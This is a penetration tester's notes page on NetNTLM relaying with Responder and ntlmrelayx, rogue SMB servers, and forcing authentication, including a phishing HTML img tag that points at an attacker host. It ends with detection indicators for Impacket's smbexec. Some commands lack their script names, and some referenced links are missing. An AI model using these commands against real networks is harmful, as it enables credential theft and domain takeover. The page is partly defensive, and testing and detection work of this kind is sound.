Notes on NetNTLM, relaying and more

This page is an attempt to document random notes on NetNTLM, relaying and more. The topics have been extensively discussed by numerous people, and therefore this post aims to provide few practical examples as seen in real environments.

The page is split in the following sections:

The post is a work in progress and therefore the provided information may be inaccurate or incomplete. Feel free to reach out if you have any comments on the content.

Relay NetNTLM hashes

This section describes the relaying of NetNTLM hashes within an environment. For relaying it is required to target hosts with SMB signing disabled OR enabled and not required (not enforced).

Although SMB signing is enabled by default on domain controllers, it is often seen that due to compatibility issues (connect scanners, printers or other devices to the network) it is explicitly disabled. However, this opens a window of opportunity for hash relaying.

In order to perform the relay we first need to configure the tools. Edit Responder’s configuration (Responder.conf) and disable (set to off) the SMB and HTTP servers, since Impacket’s ntlmrelayx will launch these servers to relay the NetNTLM hashes. After that, run responder with the following flags:

python3 -I

While Responder is running in the bakground, it will spoof incoming requests and reply with attacker’s IP address. The clients that made the authentication requests will then sent their NetNTLM hashes. Impacket’s ntlmrelayx will extract these hashes and relay them to the target servers (ntlmrelayx’s flag -t/-tf).

To relay the hashes to a single host, can be done with the following command:

python3 -smb2support -t <target_IP> -c whoami

To relay the NetNTLM hashes to multiple targets:

python3 -smb2support -tf <list_of_targets> -c whoami

Upon successful relay of the hashes, the command whoami runs on the target hosts under the context of the relayed user accounts. This means that if the relay occurred for a user that belongs to the “Domain Admins” user group, the attackers (us) have achieved command execution with the highist privilege within the domain that leads to full domain compromise.

Interpreting the error messages

Things may not be as straightforward as described above and instead run into error messages. It’s important to excercise the ability to interpret the generated error messages to know exactly when to move on to different techniques or…keep shuffling the deck of cards.

Assuming you have identified a couple of domain controllers within a target network that do not enforce SMB signing, you quickly make a list and provide this list to ntlmrelayx hoping that the credentials of users will be relayed and in the end manage to get access to a domain controller.

You run Responder along with ntlmrelayx and you believe you’re advancing to full domain compromise until you observe the following messages within ntlmrelayx’s logs:

[*] Authenticating against smb:// as CONTOSO/JOHN.DOE SUCCEED
[*] SMBD-Thread-4: Connection from CONTOSO/JOHN.DOE@ controlled, but there are no more targets left!
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

The above output shows that the NetNTLM gets indeed relayed to the target host. However, the error rpc_s_access_denied indicates that the user is not authorized and gets an “Access Denied” error. This is expected though, as the user JOHN.DOE is a member of “Domain Users” user group. User is not an admin and therefore doesn’t have the privileges to create a service on the target host.

Low privileged user can still be useful. Ntlmrelayx can collect the hashes in a socks proxy and from there we can use proxychains to look around the shares. The command line to do this:

python3 -smb2support -tf <list_of_targets> -socks

And from there we could use proxychains:

proxychains smbclient //<target_host>/c$ -U CONTOSO/JOHN.DOE

More examples are listed in this link:

Rogue SMB server

Run a SMB server and wait for a user to authenticate to the server. This way you can grab the NetNTLM hash of the authenticating user, feed it to either Hashcat or JohnTheRipper along with a wordlist and attempt to crack it and get the credentials of the authenticating user.

In order to create an SMB, you can use Impacket’s smbserver script:

python3 -port 445 <share_name> <share_path>

Rogue SMB server on the field

You may be wondering why would anyone want to configure an SMB server within an environment. There are at least two use cases:

  1. Delivering payloads
  2. Capture of NetNTLM hashes

Regarding “Delivering payloads”, think an SMB server like an HTTP server used to serve files to users.

The “Capture of NetNTLM hashes” can be split in two sub-cases: a passive capture and an active capture.

The passive capture relates to the following scenario: Within a network there may be an automated process (for example a vulnerability scanner like Nessus or an AntiVirus scanner) that runs periodically in the network and attempts to discover hosts and authenticate to them in order to perform the scan. Usually, this is done with a service account that has appropriate privileges to authenticate to additional hosts. When the service accounts attmpts to authenticate to the attacker’s SMB server, the rogue SMB capturer the hash of this service account. If this account is configured with weak credentials, the cracking of the captured NetNTLM hash may foster results and therefore lead to the compromise of the account. You may also be lucky enough to witness that the compromised service account is member of a privileged group (for example, it belongs to the “Domain Admins” user group).

The active capture relates to this: Somehow an attacker manages to get shell access to a host (for example by exploiting a vulnerability on software running on the host). Having shell access enables the attacker to run commands and therefore can manually initiate authentication to a rogue SMB server by issues commands like:

dir \\<rogue_SMB_IP>
net view <rogue_SMB_IP>

Note: As mentioned in the link below, starting in Windows 10, version 1709 and Windows Server 2019, the SMB2 client no longer allows the following actions:

This means that in order to grab the NetNTLM hash of a compromised user account, you will have to configure the rogue SMB server with a username and a password. You can do this with the following command:

python3 -port 445 -username EVIL -password PASSWORD -smb2support

Forcing netNTLM Authentication

In order to capture netNTLM hashes (and at a later stage relay them) an attacker would have to make a victim user use the netNTLM authentication protocol and therefore initiate a negotiation to the server under attacker’s control.

This action can be classified in two main categories: active and passive.

An index of techniques that can be used to initiate a NTLM protocol authentication:

Active netNTLM negotiation

Active netNTLM negotiation means that a victim user uses the netNTLM authentication protocol by taking an action, like opening a file that in turn makes a netNTLM negotiation.

HTML files

An attacker can deliver phishing emails with attached HTML files that upon rendered in a browser attempt to authenticate to the rogue SMB server. This action is considered “active”, as the user have to deliberately open a HTML file.

The only thing required is an image tag that loads an image from the attacker-controlled server. The technique is documented in [1].

The image HTML tag that consists the payload would be something like the following:

	<img src="file://<attacker_IP/random/path.png>"/>
	<img src="file://<attacker_FQDN/random/path.png>"/>

At the time of testing, this technique was effective against Microsoft Edge, Microsoft Interner Explorer and Google Chrome, meaning that upon rendering the HTML file, a netNTLM negotiation occurred and the netNTLM hash was sent to the rogue SMB server. The technique did not work on Firefox.

Hunting for ntlmrelayx

This section provides information on what to look for when hunting for ntlmrelayx within an environment. A default run (unmodified version) of ntlmrelayx, leaves behind specific artifacts that make good indicators of compromise (IOC) and ultimately assists in detecting Impacket’s command execution over SMB.

Assuming there is capability to gather all the services from the Windows hosts within an environment, we can look for the following traces:

Service Name: BTOBTO Service Command Line arguments strings: “%COMPSEC% /Q /c”, “%TEMP%\execute.bat”, “\\C$__output”, “2^>^1”

The artifacts are created by Impacket’s smbexec module, this means that they are not explicitly indicative of NetNTLM relaying. However, they are a good indicator and can be used to detect command execution over SMB.

At the time of writing, the default configuration exists in Impacket’s GitHub repository:

A nice page of additional artifacts from a number of Impacket’s modules: